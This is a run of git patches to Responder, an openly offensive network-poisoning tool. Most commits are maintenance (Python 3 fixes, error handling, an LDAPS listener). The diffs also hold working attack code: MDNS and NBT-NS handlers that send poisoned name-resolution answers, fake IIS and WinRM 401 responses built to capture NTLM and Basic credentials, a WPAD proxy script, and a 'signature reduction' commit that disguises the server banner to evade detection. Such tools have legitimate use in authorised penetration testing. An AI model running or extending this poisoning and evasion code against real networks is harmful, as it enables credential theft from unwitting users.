str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) - AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) - MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"]) + MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"]) Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) @@ -1773,7 +1773,7 @@ class SMB2NegoAns(Packet): self.fields["NegTokenASNLen"] = StructWithLenPython2or3(" Date: Thu, 7 Dec 2023 09:33:38 -0300 Subject: [PATCH 073/114] fixed minor bug on py 3.10 --- tools/RunFinger.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index bf9cadc..05463a7 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com @@ -364,7 +364,7 @@ def ConnectAndChoseSMB(host): return False def handle(data, host): - if data[28:29] == b"\x00": + if data[28:29] == "\x00": a = SMBv2Head() a.calculate() b = SMBv2Negotiate() @@ -373,7 +373,7 @@ def handle(data, host): buffer0 = longueur(packet0)+packet0 return buffer0 - if data[28:29] == b"\x01": + if data[28:29] == "\x01": global Bootime SMB2SigningMandatory(data) Bootime = IsDCVuln(GetBootTime(data[116:124]), host[0]) @@ -385,7 +385,7 @@ def handle(data, host): buffer0 = longueur(packet0)+packet0 return buffer0 - if data[28:29] == b"\x02": + if data[28:29] == "\x02": ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing) ################## @@ -412,6 +412,7 @@ def ShowSmallResults(Host): 'MSSQL': SQL }) except: + raise return False From f670fbaa7fcd3b072aef7cf29f43c1d76d6f13bf Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 7 Dec 2023 09:36:54 -0300 Subject: [PATCH 074/114] added:error handling on exceptions. --- poisoners/MDNS.py | 60 ++++++++++++++++++++++++---------------------- poisoners/NBTNS.py | 42 ++++++++++++++++---------------- 2 files changed, 53 insertions(+), 49 deletions(-) diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index d63d0fb..a9b555a 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -51,47 +51,49 @@ def Poisoned_MDNS_Name(data): class MDNS(BaseRequestHandler): def handle(self): - - data, soc = self.request - Request_Name = Parse_MDNS_Name(data) - MDNSType = Parse_IPV6_Addr(data) - # Break out if we don't want to respond to this host + try: + data, soc = self.request + Request_Name = Parse_MDNS_Name(data) + MDNSType = Parse_IPV6_Addr(data) + # Break out if we don't want to respond to this host - if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True): - return None + if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True): + return None - if settings.Config.AnalyzeMode: # Analyze Mode - print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3)))) - SavePoisonersToDb({ + if settings.Config.AnalyzeMode: # Analyze Mode + print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3)))) + SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '1', - }) - elif MDNSType == True: # Poisoning Mode - Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS_Ans(AnswerName = Poisoned_Name) - Buffer.calculate() - soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - if not settings.Config.Quiet_Mode: - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) - SavePoisonersToDb({ + }) + elif MDNSType == True: # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '0', - }) + }) - elif MDNSType == 'IPv6': # Poisoning Mode - Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) - Buffer.calculate() - soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - if not settings.Config.Quiet_Mode: - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) - SavePoisonersToDb({ + elif MDNSType == 'IPv6': # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + SavePoisonersToDb({ 'Poisoner': 'MDNS6', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '0', - }) + }) + except: + raise diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 1064bda..f574a98 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -27,33 +27,35 @@ else: class NBTNS(BaseRequestHandler): def handle(self): + try: + data, socket = self.request + Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: + return None - data, socket = self.request - Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) - # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: - return None - - if data[2:4] == b'\x01\x10': - if settings.Config.AnalyzeMode: # Analyze Mode - print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3)))) - SavePoisonersToDb({ + if data[2:4] == b'\x01\x10': + if settings.Config.AnalyzeMode: # Analyze Mode + print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3)))) + SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], 'ForName': Name, 'AnalyzeMode': '1', - }) - else: # Poisoning Mode - Buffer1 = NBT_Ans() - Buffer1.calculate(data) - socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - if not settings.Config.Quiet_Mode: - LineHeader = "[*] [NBT-NS]" - print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) - SavePoisonersToDb({ + }) + else: # Poisoning Mode + Buffer1 = NBT_Ans() + Buffer1.calculate(data) + socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [NBT-NS]" + print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) + SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], 'ForName': Name, 'AnalyzeMode': '0', - }) + }) + except: + raise From 4ea3d7b76554dee5160aaf76a0235074590284f8 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 7 Dec 2023 09:43:10 -0300 Subject: [PATCH 075/114] removed debug --- tools/RunFinger.py | 1 - 1 file changed, 1 deletion(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 05463a7..317f97b 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -412,7 +412,6 @@ def ShowSmallResults(Host): 'MSSQL': SQL }) except: - raise return False From e9bd8a43ef353a03ba9195236a3aa5faf3788faa Mon Sep 17 00:00:00 2001 From: exploide Date: Thu, 14 Dec 2023 18:20:04 +0100 Subject: [PATCH 076/114] fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ --- packets.py | 2 +- servers/SMB.py | 4 ++-- settings.py | 4 ++-- utils.py | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) mode change 100755 => 100644 packets.py mode change 100755 => 100644 settings.py mode change 100755 => 100644 utils.py diff --git a/packets.py b/packets.py old mode 100755 new mode 100644 index e8503f5..931548d --- a/packets.py +++ b/packets.py @@ -215,7 +215,7 @@ class DNS_SRV_Ans(Packet): def calculate(self,data): self.fields["Tid"] = data[0:2] DNSName = ''.join(data[12:].split('\x00')[:1]) - SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld + SplitFQDN = re.split(r'\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld #What's the question? we need it first to calc all other len. self.fields["QuestionName"] = DNSName diff --git a/servers/SMB.py b/servers/SMB.py index d6920aa..b93ebb7 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -209,7 +209,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP pass ##Negotiate proto answer SMBv2. - if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data): + if data[8:10] == b"\x72\x00" and re.search(rb"SMB 2.\?\?\?", data): head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") t = SMB2NegoAns() t.calculate() @@ -247,7 +247,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP data = self.request.recv(1024) # Negotiate Protocol Response smbv1 - if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None: + if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(rb'SMB 2.\?\?\?', data) == None: Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data))) Body.calculate() diff --git a/settings.py b/settings.py old mode 100755 new mode 100644 index 6d085d6..86302fa --- a/settings.py +++ b/settings.py @@ -243,10 +243,10 @@ class Settings: if self.Serve_Exe == True: if not os.path.exists(self.Html_Filename): - print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)) + print(utils.color("/!\\ Warning: %s: file not found" % self.Html_Filename, 3, 1)) if not os.path.exists(self.Exe_Filename): - print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)) + print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)) # SSL Options self.SSLKey = config.get('HTTPS Server', 'SSLKey') diff --git a/utils.py b/utils.py old mode 100755 new mode 100644 index 34e0c3f..ff7169a --- a/utils.py +++ b/utils.py @@ -180,7 +180,7 @@ def IsOsX(): def IsIPv6IP(IP): if IP == None: return False - regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))" + regex = r"(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))" ret = re.search(regex, IP) if ret: return True From 6d61f0439c1779767c9ea9840ac433ed98e672cd Mon Sep 17 00:00:00 2001 From: exploide Date: Thu, 4 Jan 2024 14:50:44 +0100 Subject: [PATCH 077/114] added LDAPS listener fixes #263 --- Responder.py | 1 + 1 file changed, 1 insertion(+) diff --git a/Responder.py b/Responder.py index 2116864..7642752 100755 --- a/Responder.py +++ b/Responder.py @@ -349,6 +349,7 @@ def main(): if settings.Config.LDAP_On_Off: from servers.LDAP import LDAP, CLDAP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,))) + threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 636, LDAP,))) threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,))) if settings.Config.MQTT_On_Off: From 20cdd9c7c23e620e3d530f76003b94407882e9cd Mon Sep 17 00:00:00 2001 From: exploide Date: Thu, 4 Jan 2024 15:26:26 +0100 Subject: [PATCH 078/114] fixed a TypeError in MSSQLBrowser fixes #251 --- servers/MSSQL.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) mode change 100755 => 100644 servers/MSSQL.py diff --git a/servers/MSSQL.py b/servers/MSSQL.py old mode 100755 new mode 100644 index ce53f12..5efd26c --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -169,7 +169,7 @@ class MSSQLBrowser(BaseRequestHandler): if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX self.send_response(soc, "MSSQLSERVER") elif data[0:1] == b'\x04': # CLNT_UCAST_INST - self.send_response(soc, data[1:].rstrip("\x00")) + self.send_response(soc, data[1:].rstrip(b"\x00")) elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC self.send_dac_response(soc) From 08e44d72acd563910c153749b3c204ce0304bdd1 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 15:38:41 -0300 Subject: [PATCH 079/114] removed useless string --- settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/settings.py b/settings.py index 6d085d6..279f579 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.3.0' +__version__ = 'Responder 3.1.4.0' class Settings: @@ -236,7 +236,7 @@ class Settings: self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') if len(self.HtmlToInject) == 0: - self.HtmlToInject = "Loading" + self.HtmlToInject = ""# Let users set it up themself in Responder.conf. "Loading" if len(self.WPAD_Script) == 0: self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' From 66ee7f8f08f57926f5b3694ffb9e87619eee576f Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 17:11:14 -0300 Subject: [PATCH 080/114] Fixed issue in http srv, more hashes & signature reduction. --- packets.py | 132 ++++++++++++++++++++++++++++++++++++----------- servers/HTTP.py | 41 +++++++++++++-- servers/WinRM.py | 9 +++- 3 files changed, 147 insertions(+), 35 deletions(-) diff --git a/packets.py b/packets.py index e8503f5..997b102 100755 --- a/packets.py +++ b/packets.py @@ -365,7 +365,7 @@ class NTLM_Challenge(Packet): ("TargetInfoLen", "\x7e\x00"), ("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"), ("TargetNameStr", settings.Config.Domain), ("Av1", "\x02\x00"),#nbt name ("Av1Len", "\x06\x00"), @@ -426,25 +426,59 @@ class NTLM_Challenge(Packet): class IIS_Auth_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("WWW-Auth", "WWW-Authenticate: Negotiate\r\n"), + ("WWW-Auth2", "WWW-Authenticate: NTLM\r\n"), + ("Len", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", """ + + + +401 - Unauthorized: Access is denied due to invalid credentials. + + + + +
+
+

401 - Unauthorized: Access is denied due to invalid credentials.

+

You do not have permission to view this directory or page using the credentials that you supplied.

+
+
+ + +"""), ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) class IIS_Auth_Granted(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), - ("Payload", "\n\n\n\nLoading\n\n\n"), + ("Payload", ""), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) @@ -452,22 +486,29 @@ class IIS_Auth_Granted(Packet): class IIS_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWWAuth", "WWW-Authenticate: NTLM "), ("Payload", ""), ("Payload-CRLF", "\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload2", """ +Not Authorized + +

Not Authorized

+

HTTP Error 401. The requested resource requires user authentication.

+ +"""), ]) - - def calculate(self,payload): - self.fields["Payload"] = b64encode(payload) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload2"])) class WinRM_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ - ("Code", "HTTP/1.1 401 \r\n"), + ("Code", "HTTP/1.1 401\r\n"), ("WWWAuth", "WWW-Authenticate: Negotiate "), ("Payload", ""), ("Payload-CRLF", "\r\n"), @@ -483,21 +524,52 @@ class WinRM_NTLM_Challenge_Ans(Packet): class IIS_Basic_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), - ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), - ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Len", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", """ + + + +401 - Unauthorized: Access is denied due to invalid credentials. + + + + +
+
+

401 - Unauthorized: Access is denied due to invalid credentials.

+

You do not have permission to view this directory or page using the credentials that you supplied.

+
+
+ + +"""), ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) ##### Proxy mode Packets ##### class WPADScript(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), ("ContentLen", "Content-Length: "), @@ -514,7 +586,7 @@ class ServeExeFile(Packet): ("ContentType", "Content-Type: application/octet-stream\r\n"), ("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"), ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("Server", "Server: Microsoft-IIS/10.0\r\n"), ("ContentDisp", "Content-Disposition: attachment; filename="), ("ContentDiFile", ""), ("FileCRLF", ";\r\n"), @@ -536,7 +608,7 @@ class ServeHtmlFile(Packet): ("ContentType", "Content-Type: text/html\r\n"), ("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"), ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("Server", "Server: Microsoft-IIS/10.0\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"), @@ -551,7 +623,7 @@ class ServeHtmlFile(Packet): 